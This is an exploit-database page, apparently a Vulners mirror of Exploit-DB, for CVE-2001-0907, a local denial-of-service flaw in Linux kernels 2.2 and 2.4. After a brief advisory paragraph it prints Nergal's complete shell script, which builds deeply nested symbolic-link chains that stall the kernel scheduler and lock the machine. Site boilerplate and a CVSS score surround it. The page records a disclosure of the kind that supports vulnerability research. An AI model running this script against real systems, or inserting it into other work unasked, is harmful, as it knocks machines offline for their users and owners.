Lucene search
+L

Linux Kernel 2.2/2.4 - Deep Symbolic Link Denial of Service

🗓️ 18 Oct 2001 00:00:00Reported by NergalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Denial-of-service vulnerability in Linux Kernel due to long symbolic link chains causing system locks.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2001-0907
1 Sep 200404:00
cve
cvelist
Cvelist
CVE-2001-0907
1 Sep 200404:00
cvelist
euvd
EUVD
EUVD-2001-0890
7 Oct 202500:30
euvd
nessus
Tenable Nessus
Mandrake Linux Security Advisory : kernel (MDKSA-2001:079-2)
18 Sep 200400:00
nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : kernel (MDKSA-2001:082-1)
31 Jul 200400:00
nessus
nvd
NVD
CVE-2001-0907
18 Oct 200104:00
nvd
source: https://www.securityfocus.com/bid/3444/info

A denial-of-service vulnerability exists in several versions of the Linux kernel.

The problem occurs when a user with local access creates a long chain of symbolically linked files. When the kernel dereferences the symbolic links, the process scheduler is blocked, effecively locking the system until the dereferencing is complete.

#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
	echo A numerical argument is required.
	exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00789
32